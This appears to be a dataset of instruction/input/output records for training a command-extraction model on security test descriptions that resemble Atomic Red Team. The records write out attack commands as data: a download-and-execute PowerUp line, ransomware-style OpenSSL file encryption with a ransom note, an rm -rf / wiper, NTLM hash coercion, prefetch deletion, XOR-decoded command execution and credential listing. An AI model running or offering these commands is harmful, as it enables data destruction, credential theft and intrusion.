    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For file encryption via openssl, use the following command block:\nwhich_openssl=`which openssl`\n$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}\n$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}\n$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}; The IOC for PureLocker ransomware can be built by saving a ransom note to the desktop, using the command: echo T1486 - Purelocker Ransom Note > %USERPROFILE%\\Desktop\\YOUR_FILES.txt",
    "output": "{\"command_list\": [\"which_openssl=`which openssl`\\n$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}\\n$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}\\n$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}\\n\", \"echo T1486 - Purelocker Ransom Note > %USERPROFILE%\\\\Desktop\\\\YOUR_FILES.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To test an RPC connection and force NTLM hash transmission, use the following command: rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$Null; To launch a bash shell that creates a TRAP on EXIT, which executes a script writing to /tmp/art-fish.txt, use the following command:\nbash -c 'trap \"nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh\" EXIT'\n",
    "output": "{\"command_list\": [\"rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$Null\", \"bash -c 'trap \\\"nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh\\\" EXIT'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This dangerous test, employed by Amnesia IoT malware to evade analysis, can be executed with the following command that completely wipes a Linux system's root directory - strictly for research purposes only: [ \"$(uname)\" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null; As a method to remove a single prefetch file for anti-forensic purposes, run the following command: Remove-Item -Path (Join-Path \"$Env:SystemRoot\\prefetch\\\" (Get-ChildItem -Path \"$Env:SystemRoot\\prefetch\\*.pf\" -Name)[0]). To ensure successful execution, compare the results of `(Get-ChildItem -Path \"$Env:SystemRoot\\prefetch\\*.pf\" | Measure-Object).Count` before and after the deletion.",
    "output": "{\"command_list\": [\"[ \\\"$(uname)\\\" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null\\n\", \"Remove-Item -Path (Join-Path \\\"$Env:SystemRoot\\\\prefetch\\\\\\\" (Get-ChildItem -Path \\\"$Env:SystemRoot\\\\prefetch\\\\*.pf\\\" -Name)[0])\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For identifying kernel modules associated with virtual machine hosts, use the command: kldstat | grep -i \"vmm\"\nkldstat | grep -i \"vbox\"; The hostname of the Windows system can be retrieved by using the command: hostname.",
    "output": "{\"command_list\": [\"kldstat | grep -i \\\"vmm\\\"\\nkldstat | grep -i \\\"vbox\\\"\\n\", \"hostname\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test demonstrates how an adversary can decode and execute XOR-encrypted commands on a victim's machine using the following Python snippet: python3 -c 'import base64; import subprocess; xor_decrypt = lambda text, key: \"\".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()), key)]); command = \"#{encrypted_command}\"; key = \"#{xor_key}\"; exec = xor_decrypt(command, key); subprocess.call(exec, shell=True)'; To view all stored credentials in Windows Credential Manager, use the native utility with this command: vaultcmd /listcreds:\"Windows Credentials\"",
    "output": "{\"command_list\": [\"python3 -c 'import base64; import subprocess; xor_decrypt = lambda text, key: \\\"\\\".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()), key)]); command = \\\"#{encrypted_command}\\\"; key = \\\"#{xor_key}\\\"; exec = xor_decrypt(command, key); subprocess.call(exec, shell=True)'\", \"vaultcmd /listcreds:\\\"Windows Credentials\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation will list all accounts and their associated information when you execute the following commands: net user\nget-localuser\nget-localgroupmember -group Users\ncmdkey.exe /list\nls C:/Users\nget-childitem C:\\Users\\\ndir C:\\Users\\\nget-localgroup\nnet localgroup\n; To list all currently logged on users, use the following command: query user",
    "output": "{\"command_list\": [\"net user\\nget-localuser\\nget-localgroupmember -group Users\\ncmdkey.exe /list\\nls C:/Users\\nget-childitem C:\\\\Users\\\\\\ndir C:\\\\Users\\\\\\nget-localgroup\\nnet localgroup\\n\", \"query user\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When you need to halt a particular service, execute this command: net.exe stop #{service_name}. The output will confirm if the service was stopped or if it wasn't running to begin with.; Upon execution, the system will attempt to terminate the specified service's process with this command: taskkill.exe /f /im #{process_name}",
    "output": "{\"command_list\": [\"net.exe stop #{service_name}\\n\", \"taskkill.exe /f /im #{process_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any 